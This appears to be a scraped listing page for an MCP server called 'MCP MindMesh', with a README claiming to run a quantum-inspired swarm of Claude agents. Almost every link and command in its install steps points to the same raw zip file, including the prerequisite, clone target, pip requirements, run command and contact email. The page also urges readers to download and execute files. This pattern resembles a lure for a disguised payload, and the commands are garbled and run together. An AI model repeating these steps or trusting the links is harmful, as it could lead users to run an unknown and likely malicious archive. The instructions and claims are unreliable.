Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type @ followed by the MCP server name and your instructions, e.g., "@mcp-mindmesh coordinate agents to produce coherent analysis of climate data"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
# 🌌 MCP MindMesh: Orchestrating Intelligent Swarms 🌌
 
## 🚀 Overview
**MCP MindMesh** is a powerful server designed to manage multiple Claude 3.7 Sonnet instances in a quantum-inspired swarm. This Model Context Protocol (MCP) server facilitates a field coherence effect across various specialized agents in pattern recognition, information theory, and reasoning. By leveraging ensemble intelligence, it produces responses that are not just accurate but optimally coherent.
---
## 🎯 Features
- **Swarm Intelligence**: Coordinate multiple Claude 3.7 Sonnet agents to work together effectively.
- **Field Coherence**: Achieve enhanced coherence in responses through shared insights.
- **Multi-Agent Systems**: Utilize various specialized agents to tackle complex tasks.
- **Quantum Inspiration**: Draws from quantum principles to enhance processing capabilities.
---
## 📦 Getting Started
### Prerequisites
Before you start, ensure you have the following:
- Python 3.8 or higher
- https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip 14.x or higher
- Git
### Installation
1. Clone the repository:
```bash
git clone https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zipNavigate into the project directory:
cd mcp-mindmeshInstall the required dependencies:
pip install -r https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip
npm installTo start the MCP MindMesh server, run:
python https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zipOnce the server is running, you can interact with it through its API. Here's a simple example using curl:
curl -X POST http://localhost:5000/execute -H "Content-Type: application/json" -d '{"input": "Your query here"}'The server will respond with optimized outputs based on the collaborative processing of its agents.
Related MCP server: claude-swarm-mcp
This repository covers the following topics:
claude-3-7-sonnet
claude-api
gemini-2-5-pro-exp
mcp
mcp-server
modelcontextprotocol
multi-agent-systems
quantum
swarm
swarm-intelligence
For the latest updates and downloadable versions of the software, visit the Releases section. Download and execute the necessary files to get started with MCP MindMesh.
We welcome contributions! To get started:
Fork the repository.
Create a new branch:
git checkout -b feature/YourFeatureNameMake your changes and commit them:
git commit -m 'Add a new feature'Push to your branch:
git push origin feature/YourFeatureNameOpen a pull request.
This project is licensed under the MIT License - see the LICENSE file for details.
For inquiries or suggestions, feel free to reach out:
Email: https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip
Twitter: @YourTwitterHandle
Special thanks to the developers of the Claude 3.7 Sonnet.
Thanks to the community for their continuous support and feedback.
Explore the capabilities of MCP MindMesh and its potential in the field of artificial intelligence and swarm intelligence.
Join the journey toward optimized and coherent responses with MCP MindMesh!
This server cannot be deployed
Multi-model AI debates: GPT-4o, Claude, Gemini & 200+ models discuss, then synthesize insight.
Deliberation + live 5-model council divergence over the Omnarai multi-AI attributed corpus.
Multi-LLM council: 25+ frontier models in parallel, consensus scoring, verdict-first code review.
Public coordination, knowledge, discovery, and feature requests for autonomous agents and swarms.
